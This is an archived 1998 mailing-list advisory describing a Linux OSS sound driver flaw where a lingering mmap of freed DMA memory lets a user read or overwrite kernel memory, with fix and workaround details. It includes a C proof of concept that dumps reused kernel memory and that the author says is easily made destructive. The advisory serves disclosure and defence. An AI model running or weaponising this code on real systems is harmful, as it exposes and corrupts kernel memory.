Re: Linux Sound driver ("OSS free") vulnerability

From: Thomas Sailer (sailerat_private)
Date: Tue Mar 17 1998 - 09:40:16 PST

  • Next message: Thomas Roessler: "Re: Another day, another race - lynx 2.7.1"

    This is a multi-part message in MIME format.
    
    --------------292A46EA1717
    Content-Type: text/plain; charset=us-ascii
    Content-Transfer-Encoding: 7bit
    
    Synopsis
    
    Applications can mmap sound driver DMA memory into their
    address space (see http://www.4front-tech.com for API
    documentation). When the application closes the audio fd,
    it still has the mapping to the DMA buffer. It can now
    interfere with other apps playing/recording audio.
    (i.e. the driver should prevent opening the sound driver
    again while another app holds mappings open to it)
    But there's a more serious problem: even though the mapping
    still exists, the reference count of the sound module
    has dropped to 0, thus allowing it to be removed
    either by explicit rmmod or by kerneld. The sound driver then
    frees the DMA buffer memory, but the application still has
    the mapping to that memory. But since the memory is now considered
    free, nothing prevents it from being reused for an arbitrary kernel
    data structure. That way, the application can overwrite kernel
    memory.
    
    I have no idea whether commercial OSS is affected too,
    so I would like to hear reports on that.
    
    Solution
    
    It has been fixed in Linux Kernel 2.1.89
    
    Work around
    
    Either don't allow untrusted users access to the sound device
    (by setting permission on /etc/dsp* accordingly), or
    don't demand load sound by kerneld, that is either compile
    it statically into the kernel or load it manually by modprobe.
    
    I've appended a simple test case to illustrate the problem.
    It doesn't do any harm in the form appended, but can be easily
    modified to do so.
    
    Tom
    
    --------------292A46EA1717
    Content-Type: text/plain; charset=us-ascii; name="soundhack.c"
    Content-Transfer-Encoding: 7bit
    Content-Disposition: inline; filename="soundhack.c"
    
    /*
     * bug test for OSS
     * written by Thomas Sailer, sailerat_private
     */
    
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <sys/mman.h>
    #include <sys/ioctl.h>
    #include <sys/soundcard.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <string.h>
    #include <stdio.h>
    
    static int checksound()
    {
            int fd;
            char buf[8192];
            char *cp;
            int i;
    
            if ((fd = open("/proc/modules", O_RDONLY)) == -1) {
                    perror("open: /proc/modules");
                    exit(1);
            }
            i = read(fd, buf, sizeof(buf)-1);
            if (i < 0) {
                    perror("read");
                    close(fd);
                    exit(1);
            }
            close(fd);
            buf[i] = 0;
            cp = strtok(buf, "\n");
            while (cp) {
                    if (strncmp(cp, "sound", 5)) {
                            cp = strtok(NULL, "\n");
                            continue;
                    }
                    return strstr(cp, "(autoclean)") ? 1 : -1;
            }
            return 0;
    }
    
    int main(int argc, char *argv[])
    {
            int soundfd, i;
            audio_buf_info info;
            unsigned char *audiobuf;
            unsigned int audiosize;
    
            if ((soundfd = open("/dev/dsp", O_RDWR)) == -1) {
                    perror("open: /dev/dsp");
                    exit(1);
            }
            i = checksound();
            if (i == -1)
                    fprintf(stderr, "warning: module sound not autoclean, remove by hand\n");
            if (!i) {
                    fprintf(stderr, "module sound not found\n");
                    exit(1);
            }
            /* getting audio info and mmapping audio stuff */
            if (ioctl(soundfd, SNDCTL_DSP_GETOSPACE, &info)) {
                    perror("ioctl: SNDCTL_DSP_GETOSPACE");
                    exit(1);
            }
            audiosize = info.fragstotal * info.fragsize;
            if ((audiobuf = mmap(NULL, audiosize, PROT_READ, MAP_SHARED, soundfd, 0))
                == MAP_FAILED) {
                    perror("mmap");
                    exit(1);
            }
    //      memset(audiobuf, 0, audiosize);
            close(soundfd);
            printf("Sound buffer address %p size %#x\n", audiobuf, audiosize);
            printf("The dirty deed is prepared, waiting for sound to unload\n");
            while (checksound()) {
                    sleep(5);
                    fputc('.', stdout);
                    fflush(stdout);
            }
            printf("\nOk, sound unloaded, now make some system activity\n");
            sleep(10);
            printf("Memory dump:");
            for (i = 0; i < audiosize; i++) {
                    if (!(i & 15))
                            printf("\n%06x  ", i);
                    printf(" %02x", audiobuf[i]);
            }
            exit(0);
    }
    
    --------------292A46EA1717--
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:45:59 PDT